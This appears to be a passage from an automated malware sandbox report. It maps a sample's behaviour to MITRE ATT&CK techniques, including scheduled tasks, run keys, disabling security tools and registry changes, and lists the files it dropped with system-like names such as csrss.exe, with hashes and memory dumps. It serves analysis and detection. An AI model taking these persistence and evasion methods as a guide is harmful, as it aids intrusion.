- Drops file in Windows directory
PID:1836

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
2dfc626b5d8f984fd48d725be44cdc00

SHA1
14560e321f87aa491882861802eae2783d8242fe

SHA256
dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb

SHA512
84fcae44ebeae33b7810e9fcd32edce43f0f9a3e9a53323f63f01640bb1f932d983c71bbe82b90e38f8d6ad22527690a3a8681dc424c36832ff8ba2d0d01c5ef

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
4.9MB

MD5
c8c85ad850db91d2317d39b4b4e391f1

SHA1
18ac1addac5803a2374cb0d5cf314da047a3fb4a

SHA256
e11b0d81a5bd929dac6c852173e5373798d6664d2bc653951b299a822ac1e1f2

SHA512
4d0032b1115def1a4967fba97f517fadf4be08d1cc30a4e2095d580f4e209ade7f16e80e047f3b94ef7161127788d3a965f7a5f2dabc8d8582fec6ef7f4f3f06

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
4.4MB

MD5
1d473b4ac9be66cc80241ea3593eac3e

SHA1
42d0813b0455af4b3e4688f7e8622edc0546f0a1

SHA256
62a5f155a915ab6798502b4960f043692f7cb36f28e1632092b8645e8fe09521

SHA512
78880f444870c7b46d3674b4e28236c9214f2d7299bab5866d55c4f7f39675d0c536b56dd152c3f19592c3dfbb4f9d0d7deabc77ff39087ba68928138ae6260a

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
Filesize
3.9MB

MD5
823f60cc89c303fb04003d75a67881a5

SHA1
1fcd1d5e128fa36d142c51cf92cd49d49b9644cf

SHA256
dbf911a7648f3980908547250a3c51161903929fcdc8b40b596d9751c913fafb

SHA512
2aab98b397ef1b1717cc01dfb4d97f18075b7489c2a11c74205b7e3c9114a64a7aa7d872c66d4cf96e868af0491abf64ba7e5770097fa49a11d064d8fb90ee29

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
2dfc626b5d8f984fd48d725be44cdc00

SHA1
14560e321f87aa491882861802eae2783d8242fe

SHA256
dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb

SHA512
84fcae44ebeae33b7810e9fcd32edce43f0f9a3e9a53323f63f01640bb1f932d983c71bbe82b90e38f8d6ad22527690a3a8681dc424c36832ff8ba2d0d01c5ef

Download Submit
\Windows\rss\csrss.exe
Filesize
3.8MB

MD5
2dfc626b5d8f984fd48d725be44cdc00

SHA1
14560e321f87aa491882861802eae2783d8242fe

SHA256
dcd7ddd4bbe35ebe79f85faabb564edbdebc1d3bcb16ad5ab79eac93531974bb

SHA512
84fcae44ebeae33b7810e9fcd32edce43f0f9a3e9a53323f63f01640bb1f932d983c71bbe82b90e38f8d6ad22527690a3a8681dc424c36832ff8ba2d0d01c5ef

Download Submit
memory/1056-54-0x0000000001550000-0x00000000018F6000-memory.dmp

Filesize
3.6MB

Download
memory/1056-57-0x0000000000400000-0x000000000100C000-memory.dmp

Filesize
12.0MB

Download
memory/1056-56-0x0000000001900000-0x0000000001FF5000-memory.dmp

Filesize
7.0MB

Download
memory/1056-55-0x0000000001550000-0x00000000018F6000-memory.dmp

Filesize
3.6MB

Download
memory/1444-68-0x0000000001370000-0x0000000001716000-memory.dmp

Filesize
3.6MB

Download
memory/1444-70-0x0000000000400000-0x000000000100C000-memory.dmp

Filesize
12.0MB

Download
memory/1444-69-0x0000000001370000-0x0000000001716000-memory.dmp

Filesize
3.6MB

Download
memory/1444-66-0x0000000000000000-mapping.dmp

Download
memory/1532-61-0x0000000000000000-mapping.dmp

Download
memory/1888-60-0x0000000000400000-0x000000000100C000-memory.dmp

Filesize
12.0MB

Download
memory/1888-59-0x0000000001200000-0x00000000015A6000-memory.dmp

Filesize
3.6MB

Download
memory/1888-58-0x0000000001200000-0x00000000015A6000-memory.dmp

Filesize
3.6MB

Download
memory/1944-63-0x000007FEFBD41000-0x000007FEFBD43000-memory.dmp

Filesize
8KB

Download
memory/1944-62-0x0000000000000000-mapping.dmp

Download